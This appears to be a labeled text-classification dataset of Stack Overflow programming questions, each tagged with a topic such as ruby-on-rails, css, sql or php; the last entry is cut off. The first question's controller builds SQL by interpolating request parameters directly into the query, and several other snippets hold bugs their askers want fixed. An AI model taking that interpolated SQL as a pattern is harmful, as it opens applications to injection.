rails how to get an array parameter single quoted and comma seperated in a query.  rails 2.35    i m may be wrong but i thought with an array in a paramater  rails was suppose to comman seperate the array when used like below for a query.   i know i can break the param out into a single quoted and comma seperated string.   i was just curious is this can be automatically done by rails and how i might go about it if so.    thank you    <strong>parameters being sent:</strong>   <pre><code>parameters: { method =&gt;:get   id =&gt;[ 3    1    4 ]} </code></pre>   <strong>the sql statement in the controller i m using:</strong>   <pre><code>sql =  select user.user_alias from users   +  where user.id in (#{params[:id]})   +  and user.user_alias is not null   aliases = user.find_by_sql(sql) </code></pre>   <strong>the sql string rails outputs (the query results in the in statement are just all togather  314):</strong>   <pre><code>select user.user_alias  from lte_users where user.id in (314)  and user.user_alias is not null  </code></pre>,ruby-on-rails
css table width not being able to be set  2 columns  a few rows. the width of the entire table seems to be set for good. no chance of changing it. all i can do is move the row separator so one columns gets stretched while the other expands.    this is the css file.   <pre><code>    body {     font: normal 11px auto  trebuchet ms   verdana  arial  helvetica  sans-serif;     color: #4f6b72;     background: #e6eae9; }  a {     color: #c75f3e; }  #mytable {     width: 450px;     padding: 0;     margin: 0;     height: 39px; }  caption {     padding: 0 0 5px 0;     width: 489px;         font: italic 11px  trebuchet ms   verdana  arial  helvetica  sans-serif;     text-align: right; }  th {     font: bold 11px  trebuchet ms   verdana  arial  helvetica  sans-serif;     color: #4f6b72;     border-right: 1px solid #c1dad7;     border-bottom: 1px solid #c1dad7;     border-top: 1px solid #c1dad7;     letter-spacing: 2px;     text-transform: uppercase;     text-align: left;     padding: 6px 6px 6px 12px;     background: #cae8ea url(images/bg_header.jpg)  no-repeat; }  th.nobg {     border-top: 0;     border-left: 0;     border-right: 1px solid #c1dad7;     background: none; }  td {     border-right: 1px solid #c1dad7;     border-bottom: 1px solid #c1dad7;     background: #fff;     padding: 6px 6px 6px 12px;     color: #4f6b72; }   td.alt {     background: #f5fafa;     color: #797268; }  th.spec {     border-left: 1px solid #c1dad7;     border-top: 0;     background: #fff url(images/bullet1.gif)  no-repeat;;     font: bold 10px  trebuchet ms   verdana  arial  helvetica  sans-serif; }  th.specalt {     border-left: 1px solid #c1dad7;     border-top: 0;     background: #f5fafa url(images/bullet2.gif)  no-repeat;;     font: bold 10px  trebuchet ms   verdana  arial  helvetica  sans-serif;     color: #797268; } </code></pre>   and this the table.   <pre><code>   &lt;table id= mytable  cellspacing = 0 &gt;     &lt;caption&gt;table 1: descriptions &lt;/caption&gt;     &lt;tr&gt;       &lt;th scope= col  abbr= configurations  class= nobg  style= width: 47px &gt;configurations&lt;/th&gt;       &lt;th scope= col  abbr= dual 1.8ghz &gt;original stack&lt;/th&gt;     &lt;/tr&gt;     &lt;tr&gt;       &lt;th scope= row  class= spec  style= width: 47px &gt;model&lt;/th&gt;       &lt;td class= style1 &gt;3xpa&lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;       &lt;th scope= row  class= specalt  style= width: 47px &gt;year&lt;/th&gt;       &lt;td class= alt  style= width: 181px &gt;1998/a&lt;/td&gt;     &lt;/tr&gt;     &lt;/table&gt; </code></pre>   i m not sure what s preventing me from changing the width of the entire table. i ve tried changing the width property in #mytable but it s doing absolutely nothing. i m using vs 2010  aspx webform.    any idea,css
how can i display css color .selected property  hi  i am building something with tabs and i want the tab selected to have another color... i use this.. the css   <pre><code>#tabs {} #tabs ul { display:inline-block;  margin-left:12px;width:100%; margin-bottom:-5px;} #tabs ul li { display:inline-block; float:left; padding-right:3px;margin-bottom:0px;} #tabs ul li a { display:block;text-decoration:none;padding:6px 6px 5px 6px;    border:1px solid #4aa6c2; border-bottom:none;    font-size:11px; font-weight:bold;    color:#fff; -moz-border-radius-topleft:4px; -moz-border-radius-topright:4px;    -webkit-border-top-left-radius:4px;    -webkit-border-top-right-radius:4px;    -khtml-border-top-left-radius:4px;    -khtml-border-top-right-radius:4px;   border-top-left-radius:4px;    border-top-right-radius:4px;    background:#dedede;    background:-webkit-gradient(linear  left top  left bottom  from(#ededed)  to(#cdcdcd));    background:-moz-linear-gradient(top  #85b7c7  #0b7190);    filter:progid:dximagetransform.microsoft.gradient(startcolorstr= #e7eff2   endcolorstr= #e7eff2 );    background-color:#e7eff2; }  #tabs ul li a:hover { text-decoration:none; color:#000;} #tabs ul li a.activ { border-color:#089dcb;  background:#4bc7ed; background:-webkit-gradient(linear  left top  left bottom  from(#97def5)  to(#8c3e3e)); background:-moz-linear-gradient(top  #b8521b  #63290a); filter:progid:dximagetransform.microsoft.gradient(startcolorstr= #97def5   endcolorstr= #07b1e6 ); text-shadow:none} #tabs ul li a.selected { background:-moz-linear-gradient(top  #cccccc  #cccccc); border:1px solid #1269ac;} #tabs ul li a.activ:hover { text-decoration:underline; color:#ffffff;} #tabs-1 #tabs-2 #tabs-3{width:636px;float:left;margin-left:5px;margin-top:5px;background-color:#e7eff2;padding:5px;border-radius:5px;border:1px solid #d8e6eb;} </code></pre>   the html:   <pre><code>&lt;div id= tabs &gt;     &lt;ul&gt;         &lt;li&gt;&lt;a href= #tabs-1 &gt;informatii&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= #tabs-2 &gt;harta&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= #tabs-3 &gt;planificare ruta&lt;/a&gt;&lt;/li&gt;     &lt;/ul&gt;     &lt;div id= tabs-1 &gt;         &lt; php include (templatepath .  /tabs/detalii.php );  &gt;     &lt;/div&gt;     &lt;div id= tabs-2 &gt;         &lt; php include (templatepath .  /tabs/harta_locatie.php );  &gt;     &lt;/div&gt;     &lt;div id= tabs-3 &gt;         &lt; php include (templatepath .  /tabs/map_route.php );  &gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   thanks in advance. what am i doing wrong     i want the selected tab to have another color.,css
why to put space between %d and %c while inputting there values using scanf  im a beginner to c   and i was writing a code to print a square of a user entered character.    usually when we need to input two integers (say x and y) using <code>scanf()</code>  we write this <code>scanf( %d%d   &amp;x  &amp;y)</code> but according to the needs of my code i am supposed to input one integer (say m) and a character (say ch).    i wrote it as <code>scanf( %d%c   &amp;x  &amp;ch)</code> but it has an error  when i execute the program it only asks the integral value to be entered and then it just stop executing.    i searched for this and i found that i need to put space between <code>%d</code> and <code>%c</code> as <code>scanf( %d %c   &amp;x  &amp;ch);</code>    can anyone explain this why we need to put space between this,c
python processing multiple times  i m creating a small script to automatically convert files from .jpg to .png:   <pre><code>import glob  os import image  basedir =  c:\users\user\desktop\\fimg\images\\  prefix  =  picture   def convert_png():     for jpg in glob.glob(os.path.join(basedir   *.jpg )):         filename = f.rsplit( . )[-2]         njpg = image.open(basedir +  %s.jpg  % (filename))         njpg.save(basedir +  %s.png  % (filename))          print  converted:   + filename +  .png   for i  f in enumerate(os.listdir(basedir)  1):     convert_png() </code></pre>   but with this  it seems to convert the file multiple times (about 10) as it prints the converted message this amount  before moving onto the next file. is there something wrong here that s making it do this    <pre><code>c:\users\user\desktop\fimg&gt;python test.py converted: 16094.png converted: 16094.png converted: 16094.png converted: 16094.png converted: 16094.png converted: 16094.png converted: 16094.png converted: 16094.png converted: 16094.png converted: 16094.png converted: 16094.png converted: 16094.png converted: 16094.png converted: 16094.png converted: 16094.png converted: 16094.png converted: 16094.png converted: 16094.png converted: 16094.png converted: 16094.png converted: 185500.png converted: 185500.png converted: 185500.png converted: 185500.png converted: 185500.png converted: 185500.png converted: 185500.png converted: 185500.png converted: 185500.png converted: 185500.png </code></pre>,python
what s the scope of an item in an javascript array  i m playing around with scopes in javascript and i was curious about something i ran across when calling a function from an array. in the below example i work with three different scopes. one bound to an object called foobar  one bound to window and then a third one which actually refers to the function itself. i m just curious why the function is scoped to itself and not to the global window object. is it because array access is a function call itself so the stored function is in a local scope    <pre><code>var foobar = {   dowork: function() {       console.log( doing some work... );       console.log(this);   } }  foobar.dowork(); // `this` will refer to foobar  var doworkclone = foobar.dowork; doworkclone(); // `this` will refer to window  var workclones = []; workclones.push(foobar.dowork); workclones[0](); // `this` will refer to the dowork function itself </code></pre>,javascript
why i am not getting the post data of image   my index.html file:   <pre><code>    &lt;form action= upload.php  method= post &gt;     title: &lt;input type= text  name= title  required= required &gt;&lt;/br&gt;     filename: &lt;input type= file  name= file &gt;&lt;br&gt;     &lt;input type= submit  name= upload  class= submit  value= upload &gt;     &lt;/form&gt; </code></pre>   and upload.php:   <blockquote> <pre><code>if (isset($_post[ upload ])){     upload(); } </code></pre> </blockquote>   well  i have a function that uploads and there is no problem  in that function i think. help me plzz,php
binding model to multi-checkbox  i have an edit form which is holding model data for a  project . the project has an array of users assigned to it  and the controller has another array of the entire user list available to be assigned. the form currently lists all availble users and what i want to do is tick the ones already assigned to the project and if the user modifies this list of checked/unchecked items  update the related project.users property.    code is at : <a href= http://plnkr.co/edit/e2rc45mgwdkgdhxz1bz0 p=preview  rel= nofollow >http://plnkr.co/edit/e2rc45mgwdkgdhxz1bz0 p=preview</a>    controller   <pre><code>angular.module( app    [])  .controller( projectscontroller   [ $scope   function($scope) {     $scope.project = { projectid : 26   projectname : project one   projectdescription : blah        users :[{ userfullname : ian   userid : 2 }      { userfullname : kevin   userid : 33 }      { userfullname : peter   userid : 32 }]     };      $scope.collaborators = [       { userid : 2   userfullname : ian }        { userid : 33   userfullname : kevin }        { userid : 32   userfullname : peter }        { userid : 31   userfullname : tom }       ];     $scope.updateproject = function(project){       console.log(project);     }    }]); </code></pre>   form   <pre><code> &lt;form name= editprojectform  novalidate ng-submit= updateproject(project)   &gt;     &lt;label&gt;name&lt;/label&gt;&lt;br&gt;     &lt;input type= text  ng-model= project.projectname  class= form-control  required&gt;&lt;br&gt;&lt;br&gt;     &lt;label&gt;description&lt;/label&gt;&lt;br&gt;     &lt;textarea ng-model= project.projectdescription  class= form-control  required&gt;&lt;/textarea&gt;     &lt;br&gt;     &lt;label&gt;assigned to work on project&lt;/label&gt;&lt;br&gt;     &lt;label ng-repeat= collaborator in collaborators &gt;         &lt;input type= checkbox   ng-model=      /&gt; {{collaborator.userfullname}} &amp;nbsp;     &lt;/label&gt;     &lt;br&gt; &lt;br&gt;     &lt;input type= submit  value= update project details  class= btn btn-primary &gt;  &lt;/form&gt; </code></pre>   <a href= http://plnkr.co/edit/e2rc45mgwdkgdhxz1bz0 p=preview  rel= nofollow >http://plnkr.co/edit/e2rc45mgwdkgdhxz1bz0 p=preview</a>,angularjs
android: how can we done local storage in android   i want to create a form in android in which it saves the details as user fills the fields so that if user left the application in between and when he reopens  the app resumes from where he had left with previously filled date if any.    i thought of using shared preferences concept but didn t know how to get there. i have seen many similar queries but i don t want to use this with button save . my form is with 5 edit text fields and a next button.,android
how to authenticate an access token in rails   i have this code in my applicationcontroller   <pre><code>class applicationcontroller &lt; actioncontroller::base    protect_from_forgery with: :exception    def authenticate!     # unless current_user      if current_user       current_user     else       render json: {  error  =&gt; { message  =&gt;  invalid access token    code  =&gt; 301 } }       return     end   end    def current_user     return @current_user if @current_user.present      user = user.find_by(access_token: params.delete(:token))     if user.present        @current_user = user     else       false     end   end end </code></pre>   and i authenticate a user with   <pre><code>class api::v1::registercontroller &lt; applicationcontroller   layout nil   skip_before_action :verify_authenticity_token  def get_user     authenticate!     render json: { hello  =&gt;  hi }   end end </code></pre>   it throws me an error of <code>double render</code>. how can i render an invalid access token message if user s access token is not present in my database and return user details if present     edit1: i tried the code provided by @andrew21   <pre><code>class applicationcontroller &lt; actioncontroller::base   class unauthorizedaccess &lt; standarderror; end       rescue_from unauthroizedaccess  with: render_invalid_access     protect_from_forgery with: :exception    def authenticate!     raise unauthorizedaccess   invalid access token  unless current_user   end    def render_invalid_access     render json: {  error  =&gt; { message  =&gt;  invalid access token    code  =&gt; 301 } }   end end </code></pre>   but i get an error.   <pre><code>undefined local variable or method `render_invalid_access  for applicationcontroller:class </code></pre>,ruby-on-rails
servicestack doesn’t work with one word in the path in routeattribute  but works with two  we have next problem in our code: we have web application which uses asp.net web forms framework. and in the areas we have api area. this uses asp.net mvc framework and we want to work with api using servicestack. but our servicestack doesn’t work with one word in the path in routeattribute  but works with two.    for example:    1)this variant doesn’t work    localhost/api/hello   <pre><code>[route( /hello  )] public class helloworld : ireturn&lt;helloresponse&gt; { } </code></pre>   2)this variant works    localhost/api/hello/world   <pre><code>[route( /hello/{name} ) ] public class helloworld : ireturn&lt;helloresponse&gt; { } </code></pre>   3)in web.config we have location path   which set that  by localhost/api url will work servicestack.factory.   <pre><code> &lt;location path= webship/api &gt; &lt;system.web&gt;   &lt;httphandlers&gt;     &lt;add path= *  type= servicestack.httphandlerfactory  servicestack  verb= *  /&gt;   &lt;/httphandlers&gt; &lt;/system.web&gt;  &lt;!-- required for iis 7.0 --&gt; &lt;system.webserver&gt;   &lt;modules runallmanagedmodulesforallrequests= true  /&gt;   &lt;validation validateintegratedmodeconfiguration= false  /&gt;   &lt;handlers&gt;     &lt;add path= *  name= servicestack.factory  type= servicestack.httphandlerfactory  servicestack  verb= *           precondition= integratedmode  resourcetype= unspecified  allowpathinfo= true  /&gt;   &lt;/handlers&gt; &lt;/system.webserver&gt; </code></pre>       when our application comes in first option <strong>(localhost/api/hello)</strong> we take <strong>404 error</strong>    guys  please help to resolve this problem ),.net
disable everything except my div using angularjs  very short question. can i using angularjs disable every thing in the screen once except one div  and if that is not possible using angularjs what is the best way to do that in my angularjs application using other technology,angularjs
css way to know if page is at top most position  i know this can be done in javascript  but let s call that plan b.    is there a way in css to know if the user views the page at its top most position  or must i use javascript to achieve this      <strong>to clarify using example</strong> - say we denote my wanted output as <code>attopmost</code>:    on initial page load  <code>attopmost</code> equals true.    if the user scrolls the page down even a little bit then <code>attopmost</code> equals false.    if the user scrolls to the top  <code>attopmost</code> equals true.,css
how can i do this query in mysql   i have this tables:   <blockquote>    <strong>sales</strong>(product code no customer  amount  id sale)        <strong>customer</strong> ( no customer  name  adress  phone  town)        <strong>products</strong> (product code  description  price)  </blockquote>   well  my question is  how do i do this query in mysql  :    name of the customers who purchased all the products.    i have only this query that joins me the two tables that i have to use:   <blockquote>    select name from customer join sales using(no customer);  </blockquote>   but i have the question  how do i separate the customers that have all the products purchased     thanks for the help.,mysql
sql  how to retrieve a count based on a substring  i need to split out an lsd on a well location. typically this is what it looks like 100/1-27-94-7w4m i need to grab a count of anything that is w4  w5  w6 that would be alberta anything that is w3   w2 w1 or anything then the other would be sask.    how can i parse a string to get that count... select count(*) from tblwell substring  charindex...  examples would be nice,sql
sql where != stringval not filtering out stringval  i have a table (as <strong>table1</strong>)comes from hbase that has certain things that i would like to filter out. i have recreated the table  my sql query  and the output i receive below. what happens is that when i try to filter out the string value it stays in the table  even if i want it out.    <strong>table1</strong> ( some positions are fully capitalized some arent  want to make them all capitalized and filter out positions )   <pre><code>name | company  | personal_id | position joe  | applebees| 32          | manager jack | target   | 12          | clerk jim  | chipotle | 22          | cook ron  | starbucks| 13          | barista </code></pre>   <strong>query</strong>   <pre><code>df = sqlcontext.sql( select name  company  personal_id  ucase(position) as position                      from table1                      where position !=  barista  ) #tried lower &amp; upper case </code></pre>   <strong>output reieved</strong>   <pre><code>name | company  | personal_id | position joe  | applebees| 32          | manager jack | target   | 12          | clerk jim  | chipotle | 22          | cook ron  | starbucks| 13          | barista  /*dont want this output*/ </code></pre>   why did the row <code>ron | startbucks| 13 | barista</code> not filter with my where clause,sql
dispatch_sync deadlocks but not on that queue  this code is blocking on the call to dispatch_sync. i m new to dispatch queues. any reason why this would block    <pre><code>nslog(@ %@  dispatch_get_current_queue()); nslog(@ %@  dispatch_get_main_queue());  if (dispatch_get_current_queue() == dispatch_get_main_queue()) {     block(); } else     dispatch_sync(dispatch_get_main_queue() block); </code></pre>   the logs print these queues    os_dispatch_queue_root: com.apple.root.low-priority[0x345bbc0]    os_dispatch_queue: com.apple.main-thread[0x345b900]>,ios
how to convert list of keyed 2-lists to list of same-keyed n-lists   how can i create a list of lists with first element as key:    from:   <pre><code>mylist = [ [26   hello ]  [26   hola ]  [26   hi ]  [26   bonjour ]  [27   bye ] [27   doei ]  [27   see you ]  [27   tot ziens ] ] </code></pre>   to:   <pre><code>[ [26   hello    hola    hi    bonjour ]  [27   bye    doei    see you    tot ziens ] ] </code></pre>,python
basic c pointer and pass by reference confusion  i have following basic program:   <pre><code>#include &lt;stdio.h&gt;  void doit(char *c) {     c =  world ; }  int main() {     char *c =  hello ;     doit(c);     printf( %s\n   c);     return 0; } </code></pre>   going line by line:   <ul> <li>c stores address to the string (char sequence) it points to</li> <li>*c points to  hello  within main function</li> </ul>   now when c (pointer) is passed to the function which tries to modify it. the modified value is not available within main. why    <pre><code>#include &lt;stdio.h&gt;  void doit(char **c) {     *c =  world ; }  int main() {     char *c =  hello ;     doit(&amp;c);     printf( %s\n   c);     return 0; } </code></pre>   works just fine  i am expecting first example to work fine by itself since i am passing <code>doit(c)</code> which is already a pointer to string i want to modify.,c
error while adding tags to a post in rails  i wanted to add tags to my products in rails project  so i watched a youtube video how to do it (<a href= https://www.youtube.com/watch v=rzx5mrca0pc&amp;t=254s  rel= nofollow noreferrer >https://www.youtube.com/watch v=rzx5mrca0pc&amp;t=254s</a>)  i did all he did  but i when i add a new product i get an error -   new product 1 error prohibited this product from being saved: user must exist    right above my new product form how do i fix it.    my routes   <pre><code>rails.application.routes.draw do devise_for :users  :controllers =&gt; { :registrations =&gt;  registrations } resources :products         get  home/contactus      get  home/login  get  home/store  get  home/blogs  get  home/index      resources :home   root  home#index  </code></pre>   my product model   <pre><code>class product &lt; activerecord::base     belongs_to :user     has_many :taggings  dependent: :destroy     has_many :tags  through: :taggings      def self.tagged_with(name)         tag.find_by!(name: name).products     end      def all_tags=(names)         # names= music  spotify          self.tags = names.split(   ).map do |name|             tag.where(name: name).first_or_create!         end     end     def all_tags         tags.map(&amp;:name).join(    )     end end </code></pre>   tag model   <pre><code>class tag &lt; applicationrecord     has_many :taggings  dependent: :destroy     has_many :products  through: :taggings end </code></pre>   taggings model   <pre><code>class tagging &lt; activerecord::base   belongs_to :product   belongs_to :tag end </code></pre>   user model   <pre><code>class user &lt; activerecord::base   # include default devise modules. others available are:   # :confirmable  :lockable  :timeoutable and :omniauthable   devise :database_authenticatable  :registerable           :recoverable  :rememberable  :trackable  :validatable           has_many :products end </code></pre>   product_controller   <pre><code>class productscontroller &lt; applicationcontroller   # before_action :authenticate_user!   before_action :set_product  only: [:show  :edit  :update  :destroy]    # get /products   # get /products.json   def index      if params[:tag]     @products = product.tagged_with(params[:tag])   else     @products = product.all   end   end    # get /products/1   # get /products/1.json   def show   end    # get /products/new   def new     @product = product.new   end    # get /products/1/edit   def edit   end    # post /products   # post /products.json   def create     @product = product.new(product_params)      respond_to do |format|       if @product.save         format.html { redirect_to @product  notice:  product was successfully created.  }         format.json { render :show  status: :created  location: @product }       else         format.html { render :new }         format.json { render json: @product.errors  status: :unprocessable_entity }       end     end   end    # patch/put /products/1   # patch/put /products/1.json   def update     respond_to do |format|       if @product.update(product_params)         format.html { redirect_to @product  notice:  product was successfully updated.  }         format.json { render :show  status: :ok  location: @product }       else         format.html { render :edit }         format.json { render json: @product.errors  status: :unprocessable_entity }       end     end   end    # delete /products/1   # delete /products/1.json   def destroy     @product.destroy     respond_to do |format|       format.html { redirect_to products_url  notice:  product was successfully destroyed.  }       format.json { head :no_content }     end   end    private     # use callbacks to share common setup or constraints between actions.     def set_product       @product = product.find(params[:id])     end      # never trust parameters from the scary internet  only allow the white list through.     def product_params       params.require(:product).permit(:filetype  :title  :img_url  :description  :all_tags  :price  :uploaded_by  :tutorial_url)     end end </code></pre>,ruby-on-rails
convert from datetime.tofiletime() to datetime object  how to convert from <code>datetime.tofiletime()</code> back to a <code>datetime</code> object,c#
lucky 7 recursion  prompt: a lucky number is the number has the digit 7 and count of #7 in the number must be odd. write a recursive function to check whether a number is lucky. (for example  lucky#: 777  117  7. not a lucky#: 77  1277).    i am a beginner. i wrote the code below  but i don t understand how  if(num == 7) return 7  work although it should return a boolean. :(    here is my code: (it checks if there is any digit 7 and sum off all digit 7 is odd)   <pre><code>bool lucky(int num) {     if (num &lt; 10)         if (num == 7) return 7; &lt;&lt; how     please!         else return 0;     else if (num % 10 == 7)         return (7 + lucky(num / 10)) % 2 != 0;     else         return lucky(num / 10); } </code></pre>,c++
super beginner javascript....what am i doing wrong please   i m trying to create a simple calculator however i am having validation issues. can someone please explain why the first if statement passes but then when i enter an answer for the second prompt it jumps back to the first if statement as if it did not pass in the first place     here is my code so far...<a href= http://jsfiddle.net/kiradale/03nlz9bh/  rel= nofollow >http://jsfiddle.net/kiradale/03nlz9bh/</a>   <pre><code>var usernumbers = prompt( enter only two numbers. ).split(   );  var a = usernumbers[0]; var b = usernumbers[1];  var useroperator = prompt( enter a multiplication  division  addition  or subtraction operator. );  if (usernumbers ==    || isnan(usernumbers)){      alert( hey! enter only two numbers and no blanks! ); }  if  (useroperator ===  *  || useroperator ===  /  || useroperator ===  +  || useroperator ===  - ){      var mycalculator = function(a b){          alert( okay ready to go );      }      mycalculator();  }  else {         alert( hey! enter only the specified operators and no blanks! ); } </code></pre>   any help is appreciated :),javascript
get min and max value from a multiple rows events  i am having a table with following structure:   <pre><code>id      time_unix     status      time_ddmmyy_hhmmss 1       1416234308      1         (dateadd(second [time]  19700101 )) 1       1416234313      0         (dateadd(second [time]  19700101 )) 1       1416234319      1         (dateadd(second [time]  19700101 )) 1       1416234337      0         (dateadd(second [time]  19700101 )) 2       1416319268      1         (dateadd(second [time]  19700101 ))   2       1416319280      0         (dateadd(second [time]  19700101 )) 2       1416319631      1         (dateadd(second [time]  19700101 )) </code></pre>   value descriptions   <pre><code>id is the identifier of the object who does the insert time_unix is when it happened status can be 1 or 0 (enable/disable) time_ddmmyy_hhmmss is just a friendly view of time_unix column </code></pre>   so  what i m trying to do is to generate a view to show me for each object the min and max hours of each event  meaning  first enable and last disable for a day by object   <pre><code>id    first_enable_time    last_disable_time    ddmmyyy 1     1416234308           1416234337           17nov2014 2     1416319268           1416319280           17nov2014 </code></pre>   have been trying many inner joins  views and so far no luck...    any body can help me on this  thanks in advance,sql
how to launch unoconv from php  when i use command <code>unoconv -f pdf -o file.pdf file.ppt</code> in console  command success runing. but i use that command in php file  var_dump() returned error 251.   <pre><code>&lt; php exec( unoconv -f pdf -o file.pdf file.ppt );  &gt; </code></pre>   how to launch unoconv command from php  thanks!,php
skips over code  the problem occurs in the seventh section. it will not allow me to read in a state and instead prints the else statement.   <pre><code>import java.util.scanner;  public class ifelsestatements {    public static scanner in = new scanner (system.in);     public static void main (string[] args)    {       one();       two();       three();       four();       five();       six();       seven();       eight();    }    public static void one()    {    system.out.print( grade:  );    int number = in.nextint();    if(number &gt; 70 &amp;&amp; number &lt;=100)    {       system.out.println( you re passing );    }    else    {       system.out.println( you re not passing! );    }     }       public static void two()    {       system.out.print( number please );       int b = in.nextint();       if(b &lt;=50)       {       system.out.println( go );       }       else       {       system.out.println( stop );       }    }     public static void three()    {       system.out.print( integer please &gt; );       int c = in.nextint();       if(c%2 == 0)       {          system.out.println( even );       }       else       {          system.out.println( odd );       }    }     public static void four()    {       system.out.print( integer please );       int d = in.nextint();       if(d%5 == 0)       {          system.out.println( multiple of 5 );       }       else       {          system.out.println( not a multiple of 5 );       }    }     public static void five()    {       system.out.print( number please );       int e = in.nextint();       if(e&lt; 10)       {          system.out.println( one digit );       }       else if(e&gt;= 10 &amp;&amp; e&lt;100)       {          system.out.println( two digits );       }       else       {          system.out.println( three digits );       }    }     public static void six()    {       system.out.print( jersey number );       int f = in.nextint();       if(f == 12 || f == 80 || f == 71)       {          system.out.println( that number is retired from the seattle seahawks );       }       else       {          system.out.println(  );       }     }      public static void seven()    {       system.out.print( a state is );       string g = in.nextline();       if(g .equals ( washington ) || g .equals ( oregon ) || g .equals ( idaho ))       {          system.out.println( that state is in the pnw! );       }       else       {          system.out.println( you should move to the pnw; its great here! );       }    }       public static void eight()    {       system.out.print( drink size (short  tall  grande  venti) );       string h = in.nextline();       if(h .equals ( short ))       {          system.out.println( 8 );       }       else if(h .equals ( tall ))       {          system.out.println( 12 );       }       else if(h .equals ( grande ))       {          system.out.println( 16 );       }       else if(h .equals ( venti ))       {          system.out.println( 20 );       }    }   } </code></pre>   this is what it looks like when i run the code.   <pre><code>grade: 70  you re not passing!  number please12  go  integer please &gt;30  even  integer please15  multiple of 5  number please33  two digits  jersey number12  that number is retired from the seattle seahawks  a state isyou should move to the pnw; its great here!  drink size (short  tall  grande  venti)tall  12 oz </code></pre>,java
how to add a new value to dropdownlist  i am loading datasource to dropdown list and binding  but in some scenario new value is coming (case sensitive) so i cannot able to set as selected value for the drop downlist  how to acheive this  means to show the datagrid selected value as text in drop down list      populating data into dropdown list   <pre><code>me.rmtroutername.datasource = me.datareader_1param( pr_list_dev_by_site        siteid   @enter_value ) me.rmtroutername.datatextfield =  devname  me.rmtroutername.datavaluefield =  devname  </code></pre>   reading value from datagrid   <pre><code>tmpstr = myiif(me.siteinfo1.tables(siteinfotablename).rows(0)   rmtroutername ) if (tmpstr = string.empty) then    me.rmtroutername.selectedindex = -1 else    me.rmtroutername.selectedvalue = tmpstr </code></pre>   in some cases the datareader values and datgrid values are mismatching (due to case sensitive) how to overcome this problem,asp.net
assign css for all tables except one  in my css i have:   <pre><code>table { width:100%; max-width:600px; } </code></pre>   thisobviously assigns the above css to every table on the site but how can i make it not assign to just on table throughout the whole site,css
multiple binded dropdowns  there is a problem that i faced in my project. i have to use multiple binded dropdowns where one dropdown depends on previouses selected item. for example  i have a class person that has country  region and city  all three are selected from dropdown.  region dropdown depends on selected item of country dropdown  i.e. region dropdown has to contain the list of regions that belong to the selected country; and city dropdown is loaded after region is selected by user and contains only cities that belong to the selected region.    i have tried to do it like it is shown here: <a href= http://jsfiddle.net/thesharpieone/xku9z/1/  rel= nofollow >http://jsfiddle.net/thesharpieone/xku9z/1/</a>  but it didn t work. after i  filter  the source of depending dropdowns and pass it through the scope  it is not reloading and the options of depending dropdowns remain the same.     then i tried to fill options of dropdown manually in controller and then load it into dropdown.   <pre><code>&lt;div data-ng-controller= splocationcontrollers &gt;     &lt;select ui-select2 ng-model= person.country_id  id= cbcountry  data-ng-change= updatecountry() &gt;     &lt;option data-ng-repeat= item in spcountrylist  value= {{item.id}} &gt;{{item.name}}&lt;/option&gt;     &lt;/select&gt; &lt;/div&gt;  &lt;div data-ng-controller= splocationcontrollers &gt;   &lt;select data-ng-model= person.region_id  id= cbregion  data-ng-change= updateregion() &gt;&lt;/select&gt; &lt;/div&gt;   &lt;div data-ng-controller= splocationcontrollers &gt;    &lt;select data-ng-model= person.district_id  id= cbcity &gt;&lt;/select&gt; &lt;/div&gt; </code></pre>   .   <pre><code>var listcountry = [{id: 1  name:  country - 1 }                    {id: 2  name:  country - 2 }                   {id: 3  name:  country - 3 }];  var listregion = [{id: 1  name:  region - 1.1   countryid: 1}                  {id: 2  name:  region - 1.2   countryid: 1}                  {id: 3  name:  region - 2.1   countryid: 2}                  {id: 4  name:  region - 2.2   countryid: 2}                  {id: 5  name:  region - 3.1   countryid: 3}                  {id: 6  name:  region - 3.2   countryid: 4}];  var listcity = [{id: 1  name:  city - 1.1   regionid: 1}                  {id: 2  name:  city - 1.2   regionid: 2}                  {id: 3  name:  city - 2.1   regionid: 3}                  {id: 4  name:  city - 2.2   regionid: 4}                  {id: 5  name:  city - 3.1   regionid: 5}                  {id: 6  name:  city - 3.1   regionid: 6}];   function splocationcontrollers($scope) {     $scope.updatecountry = function()     {        var stroption =  &lt;option value=-1&gt; &lt;/option&gt; ;        var cbv = $( #cbcountry option:selected ).val();        /*doing something with data and get to stroptions the list of regions that belong to selected country    for example  if in cbcounty user selects  country - 2  then stroptions would be something like this:     &lt;option value=-1&gt; &lt;/option&gt;      &lt;option value=3&gt; region - 2.1 &lt;/option&gt;     &lt;option value=4&gt; region - 2.2 &lt;/option&gt;     */       $( #cbregion )             .find( option )             .remove()             .end()             .append(stroption)         ; } $scope.updateregion = function() {    var stroption =  &lt;option value=-1&gt; &lt;/option&gt; ;    var cbv = $( #cbregion option:selected ).val();    /* forming corresponding list of cities and setting this list to stroptions  */       $( #cbcity )             .find( option )             .remove()             .end()             .append(stroption)         ;     } } </code></pre>   it worked fine  but when i open my editing form for class person that already has value in cbcountry  cbregion and cbcity  it does not show me the values of cbregion and cbcity. please  help me with this problem. or show me the other way to implement this whole task.,angularjs
multiple div with equal width in a container  i am trying to place multiple divs with same width inside a container in same row as below   <pre><code>    ++++++++++++++++++++++++++++++     + ++++++++ ++++++++ ++++++++ +     + +      + +      + +      + +     + + box1 + + box2 + + box3 + +     + +      + +      + +      + +     + ++++++++ ++++++++ ++++++++ +     ++++++++++++++++++++++++++++++ </code></pre>   the container has width:100%; i was successful to place 3 divs in same row. float: left; display: inline-block; but i couldn t fix the same width for the multiple divs.,css
tomcat 8.5 running error severe: a child container failed during start  i am currently running 8.5 version of tomcat for my web servlets in java. i have been working on a tomcat for a while but suddenly today  somehow i am getting this error message and cant get away with it. i am not really sure what is happening here. i have seen all the problems related to this error online but nothing worked for me.   <pre><code>info: at least one jar was scanned for tlds yet contained no tlds. enable debug logging for this logger for a complete list of jars that were scanned but no tlds were found in them. skipping unneeded jars during scanning can improve startup time and jsp compilation time.     oct 30  2017 8:37:30 pm org.apache.catalina.core.containerbase startinternal     severe: a child container failed during start     java.util.concurrent.executionexception: org.apache.catalina.lifecycleexception: failed to start component [standardengine[catalina].standardhost[localhost].standardcontext[/assignment1]]         at java.util.concurrent.futuretask.report(unknown source)         at java.util.concurrent.futuretask.get(unknown source)         at org.apache.catalina.core.containerbase.startinternal(containerbase.java:939)         at org.apache.catalina.core.standardhost.startinternal(standardhost.java:872)         at org.apache.catalina.util.lifecyclebase.start(lifecyclebase.java:150)         at 